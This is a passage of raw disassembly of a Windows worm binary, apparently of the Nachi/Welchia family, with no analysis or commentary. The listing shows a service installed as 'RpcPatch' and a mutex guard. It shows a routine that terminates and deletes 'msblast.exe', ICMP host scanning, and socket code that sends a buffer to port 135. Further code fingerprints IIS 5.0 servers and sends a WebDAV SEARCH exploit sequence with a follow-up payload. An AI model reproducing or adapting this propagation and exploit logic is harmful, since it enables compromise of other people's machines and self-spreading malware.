		ja	short loc_4026F1


loc_4026EA:				; CODE XREF: sub_402540+19Cj
		cmp	[esp+13Ch+var_114], 2
		jz	short loc_402689


loc_4026F1:				; CODE XREF: sub_402540+182j
					; sub_402540+1A8j
		mov	ebp, [esp+13Ch+var_12C]
		mov	ebx, [esp+13Ch+var_124]


loc_4026F9:				; CODE XREF: sub_402540+133j
		mov	eax, [esp+13Ch+var_114]
		xor	ecx, ecx
		cmp	eax, 4
		setz	cl
		mov	esi, ecx
		jmp	short loc_40270E
; ---------------------------------------------------------------------------


loc_402709:				; CODE XREF: sub_402540+AAj
					; sub_402540+B3j
		mov	esi, 1


loc_40270E:				; CODE XREF: sub_402540+9Ej
					; sub_402540+D1j ...
		push	ebx
		call	dword_404090	; LocalFree
		push	edi
		mov	edi, dword_404034
		call	edi ; dword_404034
		push	ebp
		call	edi ; dword_404034
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	edi
		pop	ebp
		add	esp, 134h
		retn
sub_402540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402730	proc near		; CODE XREF: sub_4011C0+1Fp

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		sub	esp, 1Ch
		push	esi
		push	edi
		push	80000000h
		push	0
		push	0
		call	dword_40402C	; OpenSCManagerA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_402755
		pop	edi
		mov	eax, 11111111h
		pop	esi
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_402755:				; CODE XREF: sub_402730+18j
		push	0F01FFh
		push	offset aRpcpatch ; "RpcPatch"
		push	edi
		call	dword_404038	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_402777
		pop	edi
		mov	eax, 22222222h
		pop	esi
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_402777:				; CODE XREF: sub_402730+3Aj
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	esi
		call	dword_40401C	; QueryServiceStatus
		test	eax, eax
		push	esi
		mov	esi, dword_404034
		jnz	short loc_40279E
		call	esi ; dword_404034
		push	edi
		call	esi ; dword_404034
		pop	edi
		mov	eax, 33333333h
		pop	esi
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_40279E:				; CODE XREF: sub_402730+5Cj
		call	esi ; dword_404034
		push	edi
		call	esi ; dword_404034
		mov	eax, [esp+24h+var_18]
		pop	edi
		pop	esi
		add	esp, 1Ch
		retn
sub_402730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4027B0	proc near		; CODE XREF: sub_4011C0+6p
		push	offset aRpcpatch_mutex ; "RpcPatch_Mutex"
		push	0
		push	0
		call	dword_404084	; CreateMutexA
		test	eax, eax
		jz	short loc_4027D3
		call	dword_404060	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jz	short loc_4027D3
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4027D3:				; CODE XREF: sub_4027B0+11j
					; sub_4027B0+1Ej
		mov	eax, 1
		retn
sub_4027B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4027E0	proc near		; CODE XREF: sub_4011C0:loc_4011FCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 10h
		xor	eax, eax
		mov	[esp+10h+var_10], offset aRpcpatch ; "RpcPatch"
		mov	[esp+10h+var_8], eax
		mov	[esp+10h+var_4], eax
		lea	eax, [esp+10h+var_10]
		mov	[esp+10h+var_C], offset	loc_402920
		push	eax
		call	dword_404018	; StartServiceCtrlDispatcherA
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		add	esp, 10h
		retn
sub_4027E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402820	proc near		; CODE XREF: sub_402880+1Ap
					; sub_402880+33p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 1Ch
		mov	eax, [esp+1Ch+arg_0]
		mov	ecx, [esp+1Ch+arg_8]
		mov	dword_405BA0, eax
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+arg_4]
		lea	edx, [esp+1Ch+var_1C]
		mov	[esp+1Ch+var_10], eax
		mov	eax, ds:dword_4076A8
		push	edx
		push	eax
		mov	[esp+24h+var_1C], 10h
		mov	[esp+24h+var_14], 5
		mov	[esp+24h+var_C], 0
		mov	[esp+24h+var_8], ecx
		mov	[esp+24h+var_4], 0BB8h
		call	dword_404014	; SetServiceStatus
		add	esp, 1Ch
		retn
sub_402820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402880	proc near		; DATA XREF: seg000:loc_402920o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		cmp	eax, 3		; switch 4 cases
		ja	short locret_402909 ; default
		jmp	off_40290C[eax*4] ; switch jump


loc_402891:				; DATA XREF: seg000:off_40290Co
		push	1388h		; jumptable 0040288A case 0
		push	0
		push	3
		call	sub_402820
		add	esp, 0Ch
		push	3E8h
		call	dword_4040C8	; Sleep
		push	0
		push	0
		push	1
		call	sub_402820
		add	esp, 0Ch
		retn	4
; ---------------------------------------------------------------------------


loc_4028BE:				; CODE XREF: sub_402880+Aj
					; DATA XREF: seg000:off_40290Co
		push	1		; jumptable 0040288A case 1
		push	0
		push	6
		call	sub_402820
		push	0
		push	0
		push	7
		call	sub_402820
		add	esp, 18h
		retn	4
; ---------------------------------------------------------------------------


loc_4028DA:				; CODE XREF: sub_402880+Aj
					; DATA XREF: seg000:off_40290Co
		push	1		; jumptable 0040288A case 2
		push	0
		push	5
		call	sub_402820
		push	0
		push	0
		push	4
		call	sub_402820
		add	esp, 18h
		retn	4
; ---------------------------------------------------------------------------


loc_4028F6:				; CODE XREF: sub_402880+Aj
					; DATA XREF: seg000:off_40290Co
		mov	ecx, dword_405BA0 ; jumptable 0040288A case 3
		push	0
		push	0
		push	ecx
		call	sub_402820
		add	esp, 0Ch

locret_402909:				; CODE XREF: sub_402880+8j
		retn	4		; default
sub_402880	endp

; ---------------------------------------------------------------------------
off_40290C	dd offset loc_402891	; DATA XREF: sub_402880+Ar
		dd offset loc_4028BE	; jump table for switch	statement
		dd offset loc_4028DA
		dd offset loc_4028F6
		align 10h


loc_402920:				; DATA XREF: sub_4027E0+19o
		push	offset sub_402880
		push	offset aRpcpatch ; "RpcPatch"
		call	dword_404010	; RegisterServiceCtrlHandlerA
		test	eax, eax
		mov	ds:dword_4076A8, eax
		jz	short locret_40296D
		push	1
		push	0
		push	2
		call	sub_402820
		push	0
		push	0
		push	4
		call	sub_402820
		call	sub_401280
		push	0
		push	0
		push	3
		call	sub_402820
		push	0
		push	0
		push	1
		call	sub_402820
		add	esp, 30h

locret_40296D:				; CODE XREF: seg000:00402937j
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402970	proc near		; CODE XREF: sub_401280+4Ep

var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, dword_4040A8
		lea	eax, [ebp+var_10C]
		push	104h
		push	eax
		push	0
		call	esi ; dword_4040A8
		lea	ecx, [ebp+var_10C]
		push	ecx
		call	dword_404074	; GetFileAttributesA
		test	al, 1
		jz	short loc_4029B1
		and	al, 0FEh
		lea	edx, [ebp+var_10C]
		push	eax
		push	edx
		call	dword_404078	; SetFileAttributesA


loc_4029B1:				; CODE XREF: sub_402970+2Fj
		push	0
		call	dword_40407C	; GetModuleHandleA
		lea	ecx, [ebp+var_210]
		push	104h
		push	ecx
		push	eax
		mov	[ebp+var_4], eax
		call	esi ; dword_4040A8
		push	4
		call	dword_4040E0	; CloseHandle
		lea	eax, [ebp+var_210]
		push	0
		push	0
		push	eax
		push	dword_4040BC
		push	[ebp+var_4]
		push	dword_4040E8
		push	dword_404080
		retn
sub_402970	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402A00	proc near		; CODE XREF: sub_401280+1Ep
					; sub_401280+1D9p

var_108		= byte ptr -108h
var_107		= byte ptr -107h

		sub	esp, 108h
		push	esi
		push	edi
		push	offset aMsblast	; "msblast"
		call	sub_401000
		add	esp, 4
		test	eax, eax
		jz	short loc_402A48
		push	eax
		push	0
		push	1F0FFFh
		call	dword_404070	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_402A48
		push	1
		push	esi
		call	dword_4040AC	; TerminateProcess
		push	1388h
		call	dword_4040C8	; Sleep
		push	esi
		call	dword_4040E0	; CloseHandle


loc_402A48:				; CODE XREF: sub_402A00+17j
					; sub_402A00+2Bj
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [esp+110h+var_107]
		mov	[esp+110h+var_108], 0
		rep stosd
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		lea	eax, [esp+114h+var_108]
		push	offset aSMsblast_exe ; "%s\\msblast.exe"
		push	eax
		call	dword_40411C	; sprintf
		add	esp, 0Ch
		lea	ecx, [esp+110h+var_108]
		push	ecx
		call	dword_404074	; GetFileAttributesA
		pop	edi
		pop	esi
		test	al, 1
		jz	short loc_402A91
		and	al, 0FEh
		lea	edx, [esp+108h+var_108]
		push	eax
		push	edx
		call	dword_404078	; SetFileAttributesA


loc_402A91:				; CODE XREF: sub_402A00+81j
		lea	eax, [esp+108h+var_108]
		push	eax
		call	dword_4040E8	; DeleteFileA
		add	esp, 108h
		retn
sub_402A00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402AB0	proc near		; CODE XREF: sub_402B20+26p
					; sub_402C40+27p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_403122	; IcmpCreateFile
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_402AC3
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402AC3:				; CODE XREF: sub_402AB0+Cj
		push	5Ch
		push	40h
		call	dword_404068	; GlobalAlloc
		mov	esi, eax
		test	esi, esi
		jnz	short loc_402ADE
		push	edi
		call	sub_40311C	; IcmpCloseHandle
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402ADE:				; CODE XREF: sub_402AB0+21j
		mov	eax, [esp+8+arg_0]
		push	ebx
		push	7D0h
		push	5Ch
		push	esi
		push	0
		push	40h
		push	offset dword_406430
		push	eax
		push	edi
		mov	dword ptr [esi+10h], offset dword_406430
		mov	word ptr [esi+0Ch], 40h
		call	sub_403116	; IcmpSendEcho
		push	esi
		mov	ebx, eax
		call	dword_40406C	; GlobalFree
		push	edi
		call	sub_40311C	; IcmpCloseHandle
		mov	eax, ebx
		pop	ebx
		pop	edi
		pop	esi
		retn
sub_402AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402B20	proc near		; DATA XREF: sub_401470+F0o

var_414		= word ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_3FC		= byte ptr -3FCh
arg_0		= dword	ptr  4

		sub	esp, 414h
		push	ebp
		push	esi
		push	offset dword_4075A4
		call	dword_404088	; InterlockedIncrement
		mov	dword ptr [esp+41Ch+var_414], 0BB8h
		mov	ebp, [esp+41Ch+arg_0]
		mov	esi, [ebp+0]
		push	esi
		call	sub_402AB0
		add	esp, 4
		test	eax, eax
		jz	loc_402C17
		push	87h
		mov	word ptr [esp+420h+var_410], 2
		mov	[esp+420h+var_40C], esi
		call	dword_404174	; ntohs
		push	0
		push	1
		push	2
		mov	word ptr [esp+428h+var_410+2], ax
		call	dword_404150	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_402C17
		push	ebx
		push	edi
		lea	eax, [esp+424h+var_410]
		push	10h
		push	eax
		push	esi
		call	dword_404154	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C0E
		mov	ebx, dword_404168
		push	0
		push	48h
		push	offset dword_405434
		push	esi
		call	ebx ; dword_404168
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C0E
		lea	ecx, [esp+420h+var_410]
		push	4
		push	ecx
		push	1006h
		push	0FFFFh
		push	esi
		call	dword_404164	; setsockopt
		mov	edi, dword_40416C
		push	0
		lea	edx, [esp+424h+var_3FC]
		push	3E8h
		push	edx
		push	esi
		call	edi ; dword_40416C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C0E
		test	eax, eax
		jz	short loc_402C0E
		mov	eax, dword_406420
		push	0
		push	eax
		push	offset dword_406470
		push	esi
		call	ebx ; dword_404168
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C0E
		push	0
		lea	ecx, [esp+424h+var_3FC]
		push	400h
		push	ecx
		push	esi
		call	edi ; dword_40416C


loc_402C0E:				; CODE XREF: sub_402B20+7Bj
					; sub_402B20+92j ...
		push	esi
		call	dword_404170	; closesocket
		pop	edi
		pop	ebx


loc_402C17:				; CODE XREF: sub_402B20+30j
					; sub_402B20+62j
		test	ebp, ebp
		jz	short loc_402C24
		push	ebp
		call	sub_402FC6
		add	esp, 4


loc_402C24:				; CODE XREF: sub_402B20+F9j
		push	offset dword_4075A4
		call	dword_404064	; InterlockedDecrement
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 414h
		retn	4
sub_402B20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402C40	proc near		; DATA XREF: sub_401470+E1o

var_5AC		= word ptr -5ACh
var_5A8		= dword	ptr -5A8h
var_5A4		= dword	ptr -5A4h
var_594		= byte ptr -594h
var_574		= byte ptr -574h
var_2B8		= byte ptr -2B8h
arg_0		= dword	ptr  4

		sub	esp, 5ACh
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset dword_4075A4
		call	dword_404088	; InterlockedIncrement
		mov	dword ptr [esp+5BCh+var_5AC], 0BB8h
		mov	eax, [esp+5BCh+arg_0]
		mov	esi, [eax]
		push	esi
		call	sub_402AB0
		add	esp, 4
		test	eax, eax
		jz	loc_402EC5
		push	50h
		mov	word ptr [esp+5C0h+var_5A8], 2
		mov	[esp+5C0h+var_5A4], esi
		call	dword_404174	; ntohs
		push	0
		push	1
		push	2
		mov	word ptr [esp+5C8h+var_5A8+2], ax
		call	dword_404150	; socket
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_402EC5
		lea	ecx, [esp+5BCh+var_5A8]
		push	10h
		push	ecx
		push	ebp
		call	dword_404154	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EBE
		push	esi
		call	dword_40415C	; inet_ntoa
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+5B8h+var_594]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aConnectionKeep ; "\r\nConnection: Keep-Alive\r\n\r\n"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		lea	edx, [esp+5BCh+var_574]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+5BCh+var_594]
		push	ecx
		push	offset aGetHttp1_1Acce ; "GET /	HTTP/1.1\r\nAccept: image/gif, imag"...
		push	offset aSSS	; "%s%s%s"
		push	edx
		call	dword_40411C	; sprintf
		lea	edi, [esp+5CCh+var_574]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 14h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		lea	eax, [esp+5BCh+var_574]
		push	ecx
		push	eax
		push	ebp
		call	dword_404168	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EBE
		mov	ebx, dword_404164
		lea	ecx, [esp+5B8h+var_5A8]
		push	4
		push	ecx
		push	1006h
		push	0FFFFh
		push	ebp
		call	ebx ; dword_404164
		push	0
		lea	edx, [esp+5BCh+var_2B8]
		push	2BBh
		push	edx
		push	ebp
		call	dword_40416C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EBE
		test	eax, eax
		jz	loc_402EBE
		mov	[esp+eax+5B8h+var_2B8],	0
		lea	eax, [esp+5B8h+var_2B8]
		push	offset aServerMicrosof ; "Server: Microsoft-IIS/5.0"
		push	eax
		call	dword_404100	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_402EBE
		push	ebp
		call	dword_404170	; closesocket
		mov	esi, dword_4040C8
		push	64h
		call	esi ; dword_4040C8
		push	0
		push	1
		push	2
		call	dword_404150	; socket
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_402EC5
		lea	ecx, [esp+5BCh+var_5A8]
		push	10h
		push	ecx
		push	ebp
		call	dword_404154	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EBE
		lea	edx, [esp+5B8h+var_594]
		lea	eax, [esp+5B8h+var_574]
		push	edx
		push	offset aSearchHttp1_1H ; "SEARCH / HTTP/1.1\r\nHost: %s\r\n\r\n"
		push	eax
		call	dword_40411C	; sprintf
		lea	edi, [esp+5C4h+var_574]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5C0h+var_574]
		push	ecx
		push	ebp
		call	dword_404168	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EBE
		lea	edx, [esp+5B8h+var_5A8]
		push	4
		push	edx
		push	1006h
		push	0FFFFh
		push	ebp
		call	ebx ; dword_404164
		push	0
		lea	eax, [esp+5BCh+var_2B8]
		push	63h
		push	eax
		push	ebp
		call	dword_40416C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EBE
		test	eax, eax
		jz	short loc_402EBE
		lea	ecx, [esp+5B8h+var_2B8]
		push	offset a411	; "411"
		push	ecx
		mov	[esp+eax+5C0h+var_2B8],	0
		call	dword_404100	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_402EBE
		push	ebp
		call	dword_404170	; closesocket
		push	64h
		call	esi ; dword_4040C8
		push	0
		push	1
		push	2
		call	dword_404150	; socket
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	short loc_402EC5
		lea	edx, [esp+5BCh+var_5A8]
		push	10h
		push	edx
		push	ebp
		call	dword_404154	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EBE
		push	64h
		call	esi ; dword_4040C8
		mov	edx, ds:dword_4075A0
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	ebp
		call	sub_402F50
		add	esp, 0Ch
		push	0BB8h
		call	esi ; dword_4040C8


loc_402EBE:				; CODE XREF: sub_402C40+77j
					; sub_402C40+E9j ...
		push	ebp
		call	dword_404170	; closesocket


loc_402EC5:				; CODE XREF: sub_402C40+31j
					; sub_402C40+60j ...
		mov	eax, [esp+5BCh+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		test	eax, eax
		pop	ebx
		jz	short loc_402EDD
		push	eax
		call	sub_402FC6
		add	esp, 4


loc_402EDD:				; CODE XREF: sub_402C40+292j
		push	offset dword_4075A4
		call	dword_404064	; InterlockedDecrement
		xor	eax, eax
		add	esp, 5ACh
		retn	4
sub_402C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402F00	proc near		; CODE XREF: sub_401280+3Cp
					; sub_401280+46p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_40402C	; OpenSCManagerA
		mov	edi, eax
		test	edi, edi
		jz	short loc_402F4B
		mov	eax, [esp+8+arg_0]
		push	0F01FFh
		push	eax
		push	edi
		call	dword_404038	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_402F38
		push	edi
		call	dword_404034	; CloseServiceHandle
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402F38:				; CODE XREF: sub_402F00+2Cj
		push	esi
		call	dword_40400C	; DeleteService
		push	esi
		mov	esi, dword_404034
		call	esi ; dword_404034
		push	edi
		call	esi ; dword_404034


loc_402F4B:				; CODE XREF: sub_402F00+15j
		pop	edi
		pop	esi
		retn
sub_402F00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402F50	proc near		; CODE XREF: sub_402C40+26Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_8]
		xor	ebx, ebx
		cmp	edi, ebx
		mov	[esp+14h+var_4], edi
		mov	[esp+14h+arg_8], ebx
		jle	short loc_402FA3
		mov	ebp, [esp+14h+arg_4]


loc_402F6B:				; CODE XREF: sub_402F50+51j
		mov	ecx, [esp+14h+arg_0]
		push	0
		lea	eax, [ebx+ebp]
		push	edi
		push	eax
		push	ecx
		call	dword_404168	; send
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_402FAD
		test	esi, esi
		jnz	short loc_402F9B
		cmp	[esp+14h+arg_8], 64h
		jge	short loc_402FAD
		push	5
		call	dword_4040C8	; Sleep
		inc	[esp+14h+arg_8]


loc_402F9B:				; CODE XREF: sub_402F50+36j
		sub	edi, esi
		add	ebx, esi
		test	edi, edi
		jg	short loc_402F6B


loc_402FA3:				; CODE XREF: sub_402F50+15j
		mov	eax, [esp+14h+var_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_402FAD:				; CODE XREF: sub_402F50+32j
					; sub_402F50+3Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		pop	ecx
		retn
sub_402F50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402FC0	proc near		; CODE XREF: sub_401280+8Bp
					; sub_401470+9Bp ...
		jmp	dword_404108
sub_402FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402FC6	proc near		; CODE XREF: sub_401C80+1EAp
					; sub_402B20+FCp ...
		jmp	dword_404138
sub_402FC6	endp

; ---------------------------------------------------------------------------


loc_402FCC:				; CODE XREF: seg001:004091B8j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4041A8
		push	offset loc_403100
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		and	dword ptr [ebp-4], 0
		push	1
		call	dword_404128	; __set_app_type
		pop	ecx
		or	ds:dword_4076BC, 0FFFFFFFFh
		or	ds:dword_4076C0, 0FFFFFFFFh
		call	dword_404124	; __p__fmode
		mov	ecx, ds:dword_4076B8
		mov	[eax], ecx
		call	dword_404118	; __p__commode
		mov	ecx, ds:dword_4076B4
		mov	[eax], ecx
		mov	eax, dword_404114
		mov	eax, [eax]
		mov	ds:dword_4076C4, eax
		call	nullsub_1
		cmp	dword_406414, 0
		jnz	short loc_40304F
		push	offset sub_4030FA
		call	dword_404110	; __setusermatherr
		pop	ecx


loc_40304F:				; CODE XREF: seg000:00403041j
		call	sub_4030E8
		push	offset dword_40500C
		push	offset dword_405008
		call	sub_4030E2	; _initterm
		mov	eax, ds:dword_4076B0
		mov	[ebp-28h], eax
		lea	eax, [ebp-28h]
		push	eax
		push	ds:dword_4076AC
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword_4040F8	; __getmainargs
		push	offset dword_405004
		push	offset dword_405000
		call	sub_4030E2	; _initterm
		call	dword_40410C	; __p___initenv
		mov	ecx, [ebp-20h]
		mov	[eax], ecx
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-2Ch]
		push	dword ptr [ebp-1Ch]
		call	sub_4011C0
		add	esp, 30h
		mov	[ebp-24h], eax
		push	eax
		call	dword_4040F0	; exit
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-30h], ecx
		push	eax
		push	ecx
		call	sub_4030DC	; _XcptFilter
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-30h]
		call	dword_404134	; _exit

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030DC	proc near		; CODE XREF: seg000:004030C8p
		jmp	dword_4040F4
sub_4030DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030E2	proc near		; CODE XREF: seg000:0040305Ep
					; seg000:00403091p
		jmp	dword_4040FC
sub_4030E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030E8	proc near		; CODE XREF: seg000:loc_40304Fp
		push	30000h
		push	10000h
		call	sub_403106	; _controlfp
		pop	ecx
		pop	ecx
		retn
sub_4030E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030FA	proc near		; DATA XREF: seg000:00403043o
		xor	eax, eax
		retn
sub_4030FA	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h


loc_403100:				; DATA XREF: seg000:00402FD6o
		jmp	dword_40412C

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403106	proc near		; CODE XREF: sub_4030E8+Ap
		jmp	dword_404130
sub_403106	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403110	proc near		; CODE XREF: sub_4016E0+10p
		jmp	dword_40419C
sub_403110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403116	proc near		; CODE XREF: sub_402AB0+53p
		jmp	dword_404058
sub_403116	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40311C	proc near		; CODE XREF: sub_402AB0+24p
					; sub_402AB0+62p
		jmp	dword_404050
sub_40311C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403122	proc near		; CODE XREF: sub_402AB0+2p
		jmp	dword_404054
sub_403122	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403128	proc near		; CODE XREF: sub_401000+C0p
		jmp	dword_4040DC
sub_403128	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40312E	proc near		; CODE XREF: sub_401000+7Cp
		jmp	dword_4040D8
sub_40312E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403134	proc near		; CODE XREF: sub_401000+62p
		jmp	dword_4040D4
sub_403134	endp

; ---------------------------------------------------------------------------
		align 4
		dd 3B1h	dup(0)
dword_404000	dd 77E36F61h	; resolved to->ADVAPI32.ChangeServiceConfig2Adword_404004	dd 77E377F9h	; resolved to->ADVAPI32.QueryServiceConfig2Adword_404008	dd 77DF3238h	; resolved to->ADVAPI32.StartServiceAdword_40400C	dd 77E37311h	; resolved to->ADVAPI32.DeleteServicedword_404010	dd 77DF0953h	; resolved to->ADVAPI32.RegisterServiceCtrlHandlerAdword_404014	dd 77DEB193h	; resolved to->ADVAPI32.SetServiceStatusdword_404018	dd 77E37D39h	; resolved to->ADVAPI32.StartServiceCtrlDispatcherAdword_40401C	dd 77DE5EB8h	; resolved to->ADVAPI32.QueryServiceStatus					; sub_402540+17Ar ...
dword_404020	dd 77DF5462h	; resolved to->ADVAPI32.QueryServiceConfigAdword_404024	dd 77E36CC9h	; resolved to->ADVAPI32.ChangeServiceConfigAdword_404028	dd 77DFC534h	; resolved to->ADVAPI32.AdjustTokenPrivilegesdword_40402C	dd 77DEADA7h	; resolved to->ADVAPI32.OpenSCManagerA					; sub_402540+11r ...
dword_404030	dd 77E37071h	; resolved to->ADVAPI32.CreateServiceAdword_404034	dd 77DE5E4Dh	; resolved to->ADVAPI32.CloseServiceHandle					; sub_4023E0+11Dr ...
dword_404038	dd 77DEB88Ch	; resolved to->ADVAPI32.OpenServiceA					; sub_402540+60r ...
dword_40403C	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_404040	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKeydword_404044	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessTokendword_404048	dd 77DFD11Bh	; resolved to->ADVAPI32.LookupPrivilegeValueA		align 10h
dword_404050	dd 76D64D33h	; resolved to->IPHLPAPI.IcmpCloseHandledword_404054	dd 76D64D5Eh	; resolved to->IPHLPAPI.IcmpCreateFiledword_404058	dd 76D64B79h	; resolved to->IPHLPAPI.IcmpSendEcho		align 10h
dword_404060	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_404064	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrement					; sub_402C40+2A2r
